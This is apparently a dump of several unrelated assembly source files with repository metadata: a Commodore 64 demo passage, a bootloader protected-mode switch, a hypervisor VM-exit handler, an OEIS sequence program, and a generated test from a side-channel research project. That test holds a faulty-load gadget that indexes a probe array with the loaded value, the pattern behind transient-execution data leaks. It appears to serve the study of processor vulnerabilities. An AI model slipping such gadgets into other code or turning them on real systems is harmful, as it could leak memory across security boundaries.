$a00),x sta (addr + $b00),x sta (addr + $c00),x sta (addr + $d00),x sta (addr + $e00),x sta (addr + $f00),x sta (addr + $1000),x sta (addr + $1100),x sta (addr + $1200),x sta (addr + $1300),x sta (addr + $1400),x sta (addr + $1500),x sta (addr + $1600),x sta (addr + $1700),x sta (addr + $1800),x sta (addr + $1900),x sta (addr + $1a00),x sta (addr + $1b00),x sta (addr + $1c00),x sta (addr + $1d00),x sta (addr + $1e00),x sta (addr + $1f00),x dex bne !loop- } .macro PNGtoHIRES(PNGpicture,BMPData,ColData) { .var Graphics = LoadPicture(PNGpicture) // Graphics RGB Colors. Must be adapted to the graphics .const C64Black = 000 * 65536 + 000 * 256 + 000 .const C64White = 255 * 65536 + 255 * 256 + 255 .const C64Red = 104 * 65536 + 055 * 256 + 043 .const C64Cyan = 112 * 65536 + 164 * 256 + 178 .const C64Purple = 111 * 65536 + 061 * 256 + 134 .const C64Green = 088 * 65536 + 141 * 256 + 067 .const C64Blue = 053 * 65536 + 040 * 256 + 121 .const C64Yellow = 184 * 65536 + 199 * 256 + 111 .const C64L_brown = 111 * 65536 + 079 * 256 + 037 .const C64D_brown = 067 * 65536 + 057 * 256 + 000 .const C64L_red = 154 * 65536 + 103 * 256 + 089 .const C64D_grey = 068 * 65536 + 068 * 256 + 068 .const C64Grey = 108 * 65536 + 108 * 256 + 108 .const C64L_green = 154 * 65536 + 210 * 256 + 132 .const C64L_blue = 108 * 65536 + 094 * 256 + 181 .const C64L_grey = 149 * 65536 + 149 * 256 + 149 // Add the colors neatly into a Hashtable for easy lookup reference .var ColorTable = Hashtable() .eval ColorTable.put(C64Black,0) .eval ColorTable.put(C64White,1) .eval ColorTable.put(C64Red,2) .eval ColorTable.put(C64Cyan,3) .eval ColorTable.put(C64Purple,4) .eval ColorTable.put(C64Green,5) .eval ColorTable.put(C64Blue,6) .eval ColorTable.put(C64Yellow,7) .eval ColorTable.put(C64L_brown,8) .eval ColorTable.put(C64D_brown,9) .eval ColorTable.put(C64L_red,10) .eval ColorTable.put(C64D_grey,11) .eval ColorTable.put(C64Grey,12) .eval ColorTable.put(C64L_green,13) .eval ColorTable.put(C64L_blue,14) .eval ColorTable.put(C64L_grey,15) .pc = BMPData "Hires Bitmap" .var ScreenMem = List() .for (var Line = 0 ; Line < 200 ; Line = Line + 8) { .for (var Block = 0 ; Block < 320 ; Block=Block+8) { .var Coll1 = Graphics.getPixel(Block,Line) .var Coll2 = 0 .for (var j = 0 ; j < 8 ; j++ ) { .var ByteValue = 0 .for (var i = 0 ; i < 8 ; i++ ) { .if (Graphics.getPixel(Block,Line) != Graphics.getPixel(Block+i,Line+j)) .eval ByteValue = ByteValue + pow(2,7-i) .if (Graphics.getPixel(Block,Line) != Graphics.getPixel(Block+i,Line+j)) .eval Coll2 = Graphics.getPixel(Block+i,Line+j) } .byte ByteValue } .var BlockColor = [ColorTable.get(Coll2)]*16+ColorTable.get(Coll1) .eval ScreenMem.add(BlockColor) } } .pc = ColData "Hires Color Data" ScreenMemColors: .for (var i = 0 ; i < 1000 ; i++ ) { .byte ScreenMem.get(i) } } .macro SetScreenMemory(address) { .var bits = (address / $0400) << 4 lda $d018 and #%00001111 ora #bits sta $d018 } .macro FillScreenMemory(address, value) { // // Screen memory is 40 * 25 = 1000 bytes ($3E8 bytes) // ldx #$00 lda #value !loop: sta address,x sta (address + $100),x sta (address + $200),x dex bne !loop- ldx #$e8 !loop: sta (address + $2ff),x // Start one byte below the area we're clearing // That way we can bail directly when zero without an additional comparison dex bne !loop- } .macro copymem(src,dst,size) { lda #<src // set our source memory address to copy from, $6000 sta $FB lda #>src sta $FC lda #<dst // set our destination memory to copy to, $5000 sta $FD lda #>dst sta $FE ldx #size // size of copy ldy #$00 copyloop: lda ($FB),y // indirect index source memory address, starting at $00 //eor ($FD),y // indirect index dest memory address, starting at $00 sta ($FD),y // indirect index dest memory address, starting at $00 iny bne copyloop // loop until our dest goes over 255 inc $FC // increment high order source memory address inc $FE // increment high order dest memory address dex bne copyloop // if we're not there yet, loop } .macro copymem_eor_short(src,dst,size) { lda #<src // set our source memory address to copy from, $6000 sta $FB lda #>src sta $FC lda #<dst // set our destination memory to copy to, $5000 sta $FD lda #>dst sta $FE ldx #size // size of copy ldy #$00 copyloop: lda ($FB),y // indirect index source memory address, starting at $00 eor ($FD),y // indirect index dest memory address, starting at $00 sta ($FD),y // indirect index dest memory address, starting at $00 iny bne copyloop // loop until our dest goes over 255 inc $FC // increment high order source memory address inc $FE // increment high order dest memory address dex bne copyloop // if we're not there yet, loop ldy #$00 copyloop2: lda ($FB),y // indirect index source memory address, starting at $00 eor ($FD),y // indirect index dest memory address, starting at $00 sta ($FD),y // indirect index dest memory address, starting at $00 iny cpy #190 bne copyloop2 // loop until our dest goes over 255 } .macro set_line(dst,val) { lda #<dst // set our destination memory to copy to, $5000 sta $FD lda #>dst sta $FE ldy #$00 copyloop: lda #val sta ($FD),y // indirect index dest memory address, starting at $00 iny cpy #40 bne copyloop // loop until our dest goes over 255 } .plugin "se.triad.kickass.CruncherPlugins" .var music = LoadSid("intromusre.sid") .pc = $f00 "democode" start: FillScreenMemory($0400,32) lda #0 sta $d020 sta $d021 init_text: ldx #$00 // init X register with $00 loop_text: lda line1,x // read characters from line1 table of text... sta $0590,x // ...and store in screen ram near the center lda line2,x // read characters from line1 table of text... sta $05e0,x // ...and put 2 rows below line1 inx cpx #$28 // finished when all 40 cols of a line are processed bne loop_text // loop if we are not done yet ldy #255 jsr wait ldy #255 jsr wait ldy #255 jsr wait jmp real_start line1: .text " quadtrip presents " line2: .text " leif eriksson " real_start: lda #%00000000 sta $d011 lda #2 sta $dd00 part_init: ldx #0 ldy #0 lda #music.startSong-1 jsr music.init sei lda #<irq1 sta $314 lda #>irq1 sta $315 lda #$7f sta $dc0d lda #$01 sta $d01a lda #52 sta $d012 cli ldy #250 jsr wait ldy #250 jsr wait ldy #250 jsr wait ldy #180 jsr wait charrotator: lda #%00010011 sta $d011 // Setup some sprites lda #%00111111 sta $d015 lda #1 sta $d027 lda #10 sta $d028 lda #0 sta $d029 lda #1 sta $d02a lda #10 sta $d02b lda #0 sta $d02c lda #%00000000 sta $d01d lda #%00000000 sta $d017 lda #%00000000 sta $d010 lda #160+12 ldy #12 sta $d000 sty $d001 sta $d002 sty $d003 sta $d004 sty $d005 sta $d006 sty $d007 sta $d008 sty $d009 sta $d00a sty $d00b lda #07 sta $47f8 lda #06 sta $47f9 lda #05 sta $47fa lda #07 sta $47fb lda #06 sta $47fc lda #05 sta $47fd ldx #255 drawscr: lda #0 sta $4400 inc *-2 lda #0 sta $4500 inc *-2 lda #0 sta $4600 inc *-2 dex cpx #255 bne drawscr ldx #232 drawscr2: lda #0 sta $4700 inc *-2 dex bne drawscr2 loop: inc frame3 lda frame3 cmp #255 bne loop lda #0 sta frame3 inc frame4 lda frame4 cmp #32 bne loop lda #0 sta frame4 inc frame5 lda frame5 lsr lsr adc #1 sta $d021 lda frame5 cmp #100 bne no_nextpart jmp decrunch_next_part no_nextpart: // inc $d021 inc frame2 jsr chrfuck jmp loop wait: waiter1: lda #255 cmp $D012 bne *-3 dey cpy #0 bne wait rts chrfuck: lda frame4 tax and #7 sta $d016 eor frame2 lsr sta $5000 asl sta $5001 lsr sta $5002 asl sta $5003 lsr sta $5004 asl sta $5005 lsr sta $5006 asl sta $5007 lsr sta $5008 /* txa and #2 lsr sbc frame */ // txa and #2 adc $d012 eor $d000,x eor $d41b lsr $d405 and #%00011000 lda frame4 and #127 sta $d016 // sta $d015 rts frame: .byte 0 colors: .byte 12,5,3,2,6,7,9,12 sprcolors: .byte 10,5,3,2,6,7,9,12 frame2: .byte 0 frame3: .byte 0 frame4: .byte 0 frame5: .byte 0 sprx: .byte 0 spry: .byte 0 heartindex: .byte 0 yoffs: .byte 0 .pc = $c000 "raster irqs" short_irq: jsr music.play lda #$ff sta $d019 //ACK interrupt so it can be called again jmp $ea7e irq1: lda #<stabilizedirq sta $314 lda #>stabilizedirq sta $315 inc $d012 // // ACK the current IRQ // inc $d019 // Save the old stack pointer so we can just restore the stack as it was // before the stabilizing got in the way. tsx // Enable interrupts and call nop's until the end of the current line // should be reached cli nop nop nop nop nop nop nop nop // Add one more nop if NTSC // Here's or second irq handler stabilizedirq: // Reset the SP so it looks like the extra irq stuff never happened txs // // Wait for line to finish. // // PAL-63 // NTSC-64 // NTSC-65 //---------//------------//----------- ldx #$08 // ldx #$08 // ldx #$09 dex // dex // dex bne *-1 // bne *-1 // bne *-1 bit $00 // nop // nop // // Check at exactly what point we go to the next line // lda $d012 cmp $d012 beq *+2 // If we haven't changed line yet, wait an extra cycle. lda spry cmp #52 bne music_done jsr music.play music_done: ldx #2 cpx #1 beq yes nop nop yes: nop nop nop ldx heartindex lda colors,x sta $d020 nextsprite: lda spry // Wait for position where we want LineCrunch to start clc adc #24 sta spry adc yoffs sta $d012 clc sbc #19 sta $d001 sta $d003 sta $d005 adc #1 sta $d007 sta $d009 sta $d00b ldy heartindex lda frame adc heartindex adc heartindex adc heartindex adc heartindex adc heartindex adc heartindex adc heartindex adc heartindex tax lda sintab,x clc adc #28 sta $d000 sta $d002 sta $d004 adc #2 sta $d006 sta $d008 sta $d00a lda sprcolors,y sta $d028 lda #11 sta $d02b lda spry .pc = * "compare" compare: cmp #230 bcc no_spryreset lda #52 sta spry sta $d012 lda #0 sta heartindex inc frame lda #12 sta $d020 ldx frame lda sintab,x lsr lsr sbc #10 // adc frame sta yoffs // jsr chrfuck jmp $ea7e no_spryreset: lda #$ff sta $d019 //ACK interrupt so it can be called again inc heartindex // jsr chrfuck jmp $ea7e .pc = $4140 "vicdata" .import c64 "heartsprites2.bin" .pc = $2000 "upscroller" .import c64 "upscroll.prg" *=music.location "Music" .fill music.size, music.getData(i) decrunch_next_part: lda #12 sta $F4 morefade: ldx #8 spritesaway: lda sprcolors,x tay dey tya cmp #255 beq no_over sta sprcolors,x ldy #1 jsr wait no_over: dex cpx #255 bne spritesaway dec $f4 lda $f4 cmp #0 bne morefade ldy #100 jsr wait lda #<short_irq sta $314 lda #>short_irq sta $315 lda #15 sta $d012 jmp $2000 .pc = $c400 "sintab" sintab: .fill 256, 64.5*abs(sin(toRadians(i*360/128))) // Generates a sine curve
19.235142
144
0.534726
7aa680b3eb4e845b74038e933b9e982eb7287b78
482
asm
Assembly
Bootloader/EnterPM.asm
MaybeELEMENT/Fortius
7208ee30fbf0f172882fc7561c681b26271a667c
[ "BSD-3-Clause" ]
null
null
null
Bootloader/EnterPM.asm
MaybeELEMENT/Fortius
7208ee30fbf0f172882fc7561c681b26271a667c
[ "BSD-3-Clause" ]
null
null
null
Bootloader/EnterPM.asm
MaybeELEMENT/Fortius
7208ee30fbf0f172882fc7561c681b26271a667c
[ "BSD-3-Clause" ]
null
null
null
[bits 16] switchToPM: cli ; turn off interrupts lgdt [GDT_descriptor] ; Load GDT mov eax, cr0 or eax, 0x1 ; sets the first bit of eax to 1, while leaving the rest intact mov cr0, eax jmp CODE_SEG:init_pm ; far jump to code segment, flushes CPU cache, removing real mode instructions [bits 32] init_pm: mov ax, DATA_SEG mov ds, ax mov ss, ax mov es, ax mov fs, ax mov gs, ax mov ebp, 0x90000 ; 32 bit stack base pointer mov esp, ebp call BEGIN_PM
16.62069
101
0.688797
0a2bf257b41b27cc917a82378d9fdce2197883e0
1,434
asm
Assembly
Part 6 - Virtualizing An Already Running System/MyHypervisorDriver/MyHypervisorDriver/VMExitHandler.asm
avboy1337/Hypervisor-From-Scratch
10acaf5496d0a4e88b058aa91dbf36ba05ab98e0
[ "MIT" ]
808
2018-09-04T01:45:15.000Z
2022-03-29T19:29:55.000Z
Part 6 - Virtualizing An Already Running System/MyHypervisorDriver/MyHypervisorDriver/VMExitHandler.asm
avboy1337/Hypervisor-From-Scratch
10acaf5496d0a4e88b058aa91dbf36ba05ab98e0
[ "MIT" ]
14
2019-02-24T21:33:37.000Z
2022-01-18T11:50:28.000Z
Part 6 - Virtualizing An Already Running System/MyHypervisorDriver/MyHypervisorDriver/VMExitHandler.asm
avboy1337/Hypervisor-From-Scratch
10acaf5496d0a4e88b058aa91dbf36ba05ab98e0
[ "MIT" ]
182
2018-09-04T01:45:21.000Z
2022-03-30T21:39:18.000Z
PUBLIC VMExitHandler PUBLIC VMXOFFHandler EXTERN MainVMExitHandler:PROC EXTERN VM_Resumer:PROC EXTERN gGuestRIP:QWORD EXTERN gGuestRSP:QWORD .code _text VMExitHandler PROC push r15 push r14 push r13 push r12 push r11 push r10 push r9 push r8 push rdi push rsi push rbp push rbp ; rsp push rbx push rdx push rcx push rax mov rcx, rsp ; Fast call argument to PGUEST_REGS sub rsp, 28h ; Free some space for Shadow Section call MainVMExitHandler add rsp, 28h ; Restore the state ; Check whether we have to turn off VMX or Not (the result is in RAX) CMP al, 1 JE VMXOFFHandler ;Restore the state pop rax pop rcx pop rdx pop rbx pop rbp ; rsp pop rbp pop rsi pop rdi pop r8 pop r9 pop r10 pop r11 pop r12 pop r13 pop r14 pop r15 sub rsp, 0100h ; to avoid error in future functions JMP VM_Resumer VMExitHandler ENDP VMXOFFHandler PROC ; Turn VMXOFF VMXOFF ;INT 3 ;Restore the state pop rax pop rcx pop rdx pop rbx pop rbp ; rsp pop rbp pop rsi pop rdi pop r8 pop r9 pop r10 pop r11 pop r12 pop r13 pop r14 pop r15 ; Set guest RIP and RSP MOV RSP, gGuestRSP JMP gGuestRIP VMXOFFHandler ENDP end
14.19802
71
0.594142
854826a8ad6a938c2ae24771d81879363f60ed0f
151
asm
Assembly
game/logic/game_states/stage_selection_screen/stage_selection_extra_code.asm
benoitryder/super-tilt-bro
8d5035f54e906a401d0808c2e104d32fa1fadd7f
[ "WTFPL" ]
91
2017-08-06T18:30:13.000Z
2022-02-17T00:26:45.000Z
game/logic/game_states/stage_selection_screen/stage_selection_extra_code.asm
benoitryder/super-tilt-bro
8d5035f54e906a401d0808c2e104d32fa1fadd7f
[ "WTFPL" ]
2
2018-10-12T04:34:13.000Z
2021-12-25T17:01:18.000Z
game/logic/game_states/stage_selection_screen/stage_selection_extra_code.asm
benoitryder/super-tilt-bro
8d5035f54e906a401d0808c2e104d32fa1fadd7f
[ "WTFPL" ]
9
2016-10-08T21:24:37.000Z
2022-02-05T00:13:31.000Z
STAGE_SELECT_SCREEN_EXTRA_BANK_NUMBER = CURRENT_BANK_NUMBER #include "game/logic/game_states/stage_selection_screen/stage_selection_screen.built.asm"
37.75
89
0.89404
c44b4c815a12a770379a99d1859fb3ae20f6296c
2,432
asm
Assembly
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_1_443.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_1_443.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i7-7700_9_0x48.log_1_443.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %r13 push %r14 push %rbx lea addresses_WC_ht+0x42fe, %r10 nop cmp %rbx, %rbx movb $0x61, (%r10) nop nop nop nop nop add $56901, %r14 pop %rbx pop %r14 pop %r13 pop %r10 ret .global s_faulty_load s_faulty_load: push %r13 push %r14 push %r15 push %rax push %rbp push %rcx push %rsi // Store lea addresses_D+0x172fe, %rcx nop xor $1135, %rax mov $0x5152535455565758, %r14 movq %r14, %xmm1 and $0xffffffffffffffc0, %rcx vmovaps %ymm1, (%rcx) nop nop nop and %rbp, %rbp // Store lea addresses_D+0xcfe, %r13 nop nop nop nop nop dec %rsi mov $0x5152535455565758, %rbp movq %rbp, %xmm2 vmovups %ymm2, (%r13) nop nop nop inc %rcx // Store mov $0xefe, %rax nop nop nop nop nop and $19152, %rcx mov $0x5152535455565758, %r15 movq %r15, %xmm0 vmovntdq %ymm0, (%rax) nop nop nop cmp $9764, %rax // Store lea addresses_UC+0x3a7e, %rax nop sub %r15, %r15 mov $0x5152535455565758, %rbp movq %rbp, (%rax) inc %rcx // Load lea addresses_D+0x1abfe, %rcx nop nop nop and $11632, %r14 mov (%rcx), %r15w nop nop and $42348, %r14 // Faulty Load mov $0xefe, %r13 clflush (%r13) nop nop nop nop nop and %rax, %rax vmovntdqa (%r13), %ymm1 vextracti128 $0, %ymm1, %xmm1 vpextrq $0, %xmm1, %rbp lea oracles, %rsi and $0xff, %rbp shlq $12, %rbp mov (%rsi,%rbp,1), %rbp pop %rsi pop %rcx pop %rbp pop %rax pop %r15 pop %r14 pop %r13 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 10, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 11, 'size': 32, 'same': False, 'NT': True}} {'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 7, 'size': 8, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 6, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_P', 'AVXalign': False, 'congruent': 0, 'size': 32, 'same': True, 'NT': True}} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 10, 'size': 1, 'same': False, 'NT': False}} {'00': 1} 00 */
17.623188
125
0.642681
5a2df6ee5395277f45a42b02ee11ef4526506392
649
asm
Assembly
oeis/160/A160767.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/160/A160767.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/160/A160767.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A160767: Expansion of (1+12*x+28*x^2+12*x^3+x^4)/(1-x)^5. ; 1,17,103,367,971,2131,4117,7253,11917,18541,27611,39667,55303,75167,99961,130441,167417,211753,264367,326231,398371,481867,577853,687517,812101,952901,1111267,1288603,1486367,1706071,1949281,2217617,2512753,2836417,3190391,3576511,3996667,4452803,4946917,5481061,6057341,6677917,7345003,8060867,8827831,9648271,10524617,11459353,12455017,13514201,14639551,15833767,17099603,18439867,19857421,21355181,22936117,24603253,26359667,28208491,30152911,32196167,34341553,36592417,38952161,41424241,44012167 mov $1,$0 add $0,1 pow $1,2 add $1,$0 bin $0,2 add $1,$0 pow $1,2 add $1,$0 mov $0,$1
49.923077
501
0.790447